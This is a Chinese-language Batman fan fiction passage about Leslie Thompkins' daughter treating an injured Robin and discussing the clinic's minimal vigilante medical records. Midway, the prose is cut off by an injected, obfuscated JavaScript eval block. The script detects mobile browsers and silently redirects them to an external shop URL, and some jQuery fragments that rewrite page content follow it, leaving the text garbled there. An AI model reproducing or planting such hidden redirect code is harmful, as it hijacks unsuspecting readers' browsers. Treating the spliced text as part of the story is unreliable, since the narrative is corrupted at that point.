“预计三周……或许更短一点，两周就能恢复。固定后不影响正常活动。但剧烈活动……”
埃拉诺说。她的声音在雨声中格外清晰，真不明白怎么隔着防弹玻璃还是能听这么清楚。
莱斯利医生很严厉地说：“夜巡是不行的。罗宾需要限制剧烈运动。”
埃拉诺刚才就想说限制剧烈运动，但她拿不准，万一罗宾真有什么超能力能够在骨裂的情况下到处乱飞呢。
蝙蝠侠：“谢谢，莱斯利医生，埃拉诺医生。我会把罗宾送回蝙蝠洞。”
莱斯利扬起眉毛：“罗宾是偷溜出来的吗？”
……
哥谭。雨夜。蝙蝠侠。
埃拉诺稍稍抬头，看向蝙蝠侠，不知道是不是错觉，她感觉蝙蝠侠似乎是矮了一点。
也可能是因为她更高了。上一次见到蝙蝠侠，埃拉诺才十二岁。
不过现在她更好奇罗宾的回答。再明显不过来了，这个罗宾，和十五年前那个活泼过头，能对着医生的女儿慷慨激昂地说一百遍“你要保密”的罗宾不是一个。
十五年时间，如果罗宾是一个正常人类，都足够罗宾从罗宾尺寸长到蝙蝠侠尺寸了。
嗯……说到蝙蝠侠尺寸，埃拉诺真心觉得蝙蝠侠比起十五年前好像矮了一点。
好吧，其实罗宾也矮了一点。
罗宾没有回答。
但蝙蝠侠回答了。
蝙蝠侠嗓音喑哑低沉：“我会送罗宾回蝙蝠洞，谢谢你们，医生。”
埃拉诺适时地说：“我去收拾一下治疗室。”
她刚刚给罗宾照了X光并且检查了固定情况，治疗室不乱，几乎可以说没怎么动，但埃拉诺感觉自己最好——战略性撤退一下，她暂时不想知道太多关于蝙蝠侠和罗宾的情况。
特别是看起来即将有一场争吵爆发的时候。罗宾带伤偷溜出来了，然后蝙蝠侠把他提溜到诊所来了，就目前来看，是这样的。
治疗室的门在埃拉诺身后轻轻合上，将大部分雨声和接下来的对话隔绝在外。但她没有立刻走远，诊所老旧的建筑意味着隔音并非完美。
埃拉诺靠在门边的墙上，并非刻意窃听，只是需要一点时间平复见到蝙蝠侠时加速的心跳——尽管她表现得异常镇定。
她听到母亲莱斯利医生压低了的声音，带着不容置疑的严肃：“这不是他第一次试图带伤行动，但这次更危险。骨裂如果移位，可能刺破胸膜，那会要命的，即使是在蝙蝠洞里。”
短暂的沉默，只有雨点敲打窗户的密集声响。
然后，是蝙蝠侠那经过处理的，低沉沙哑的声音：“我明白，莱斯利医生。监管是我的责任。他……罗宾的行动超出了今晚的授权范围。”
“授权？”莱斯利的语气里带上了些许埃拉诺熟悉的，针对固执患者的责备，“他是你的搭档，不是你的士兵。而且，他受伤了，需要的是医疗指令和休息，不是军事化术语。”
又是一阵沉默。埃拉诺几乎能想象蝙蝠侠那隐藏在面具下的，可能略带尴尬或无奈的表情——如果蝙蝠侠也有那种表情的话。
“他担心……”蝙蝠侠的声音更低了些，似乎瞥了一眼治疗室的方向，“……他认为他的缺席会造成战术缺口。我说还有搅局者和黑蝙蝠……”
“所以他就带着可能致命的隐患跑来证明自己不可或缺？”莱斯利的反驳一针见血，“典型的青少年英雄思维。你当年没少干类似的事，虽然方式不同。”
埃拉诺挑眉。
妈妈这话……信息量很大。
她指的是蝙蝠侠年轻时？还是……上一任罗宾？
“情况已经控制，”蝙蝠侠生硬地转换了话题，似乎不想在“当年”的问题上深入，“我会确保他遵守医疗指令。固定可靠吗？”
“埃拉诺处理得很好。她用的材料和手法足够应对……常规层面的活动。但绝不包括飞檐走壁和挨揍，”莱斯利停顿了一下，语气放缓，“你也一样，蝙蝠侠。你今晚的移动似乎也有点……”
被打断了。
“不影响功能。”
这是蝙蝠侠的回答，迅速而简洁，简直是条件反射般的否认。
埃拉诺在心里默记：蝙蝠侠也可能带伤。而且，否认伤情是他们的共性吗？
“随你便。但记住，如果你们俩都倒下了，哥谭的夜晚不会因此停转，只会更糟，”莱斯利的声音带着疲惫的务实，“带他回去，让他好好休息。至少三天，绝对静养。然后才能进行低强度训练。这是我的最终医疗意见。”
“……明白。”蝙蝠侠的应答带着服从的意味。
接着是衣料摩擦的声音，还有极轻微的，金属扣具的响动。他们准备离开了。
埃拉诺立刻轻手轻脚地离开门边，走向药品柜，假装正在清点什么。几秒钟后，治疗室的门开了。
蝙蝠侠走了出来，披风微湿。他的下巴上一样带着亮晶晶的雨水。
他朝埃拉诺的方向微微颔首——一个非常轻微但确实存在的致意。
“再次感谢，埃拉诺医生。”
“职责所在。”
埃拉诺转过身，专业地点点头。
罗宾跟在他身后，多米诺面具挡住了上半张脸，但紧抿的嘴唇和下颚线依然显露出不甘和倔强。他看了埃拉诺一眼，迅速移开视线，有点不自在。
“罗宾，”埃拉诺在他经过时，用平静的医生命令口吻补充，“记住，肋骨区域的疼痛是身体的警告。不要忽略它。三天后如果疼痛没有缓解或出现呼吸加剧疼痛，需要复查。”
她刻意用了“需要复查”而不是“回来复查”，将选择权表现得像常规医疗建议，而非命令。
虽然这么选择语言大概不会有用。
罗宾又不是平常的患者。
罗宾的脚步顿了一下，极其轻微地点了下头，几乎难以察觉，然后便跟着蝙蝠侠走向后门。
莱斯利站在治疗室门口，目送他们。蝙蝠侠在门口停下，回头看了一眼莱斯利，又似乎飞快地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153955|196492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞥过埃拉诺，那眼神在多米诺面具的眼孔后难以解读。
“安全，莱斯利医生。”他低声道，然后便和罗宾一同融入门外的雨夜黑暗中，悄无声息，仿佛从未出现过。
门被莱斯利关上并锁好，诊所内重新只剩下雨声和暖气的微弱嗡嗡声。那股紧绷的、非日常的气息也随之消散。
莱斯利转过身，揉了揉眉心，显露出深深的疲惫。“好了，今晚的特别门诊结束了。”
她试图让语气轻松些。
埃拉诺走回药品柜前，完成她刚才中断的清点，状似随意地问：“他们经常这样？我是说……罗宾受伤，然后……不太服管束？”
她小心地避免使用“偷跑”这个词。
“差不多，蝙蝠侠也一样。”
埃拉诺认真地点点头：“蝙蝠侠也一样。我能看看蝙蝠侠和罗宾的病历吗，我想诊所的系统肯定会有的，还是说和韦恩先生的一样，是定期销毁的？”
最后半句话是开玩笑的。
“病历当然有。”她走到柜台后，打开那台老式电脑，输入密码，“但和你习惯的医院电子病历系统不一样。这里更……简约。”
屏幕亮起，显示出一个极其简洁的界面。没有花哨的图标，只有按日期排列的文件夹，命名规则是简单的“日期+代码”。
代码是缩写，比如“B01”、“R02”、“N01”等等。
代号会变，但核心人员有固定编号。”莱斯利移动鼠标，点开一个标记为“R03”的远期期文件夹。里面是几张X光片的扫描件，一份简短的文字记录，记录了受伤原因和处理方式。
埃拉诺凑近屏幕，仔细看着那些记录。专业，但极其精简，没有任何个人信息，受伤原因的描述也模糊得像是从警方报告里摘录的通用术语。
“没有既往史汇总？没有过敏药物列表？没有完整的体格检查记录？”埃拉诺指着屏幕问，“这些X光片……没有标注左右方位，没有拍摄参数。”
“因为不需要，”莱斯利平静地说，“他们来时，通常只有两个需求：处理当前伤情，以及判断多久能恢复‘工作’。过敏？据我所知没有。既往史……”她顿了顿，“那就是一连串类似的文件夹。你能从X光片上看到旧伤的痕迹，自己拼凑。
“这很危险，妈。”埃拉诺最终说，声音很轻，“没有系统的记录，就无法评估长期风险。重复性的损伤，尤其是头部和脊柱的，累积效应会非常可怕。还有药物相互作用……如果他们中有人因为别的伤病在其他地方用药……”
“我知道，”莱斯利关掉了那个文件夹，转身面对女儿，背靠着柜台，“太危险了，想想看，如果蝙蝠侠的身体数据泄露了……”
“那会是一场灾难，”埃拉诺立刻接上，“我们要保护每一个义警的身体数据。”
“是的，所以说，一切都记在我的脑子里。”
莱斯利医生说。
“嗯……一个问题，我至少可以在X光片上标注左右吧？”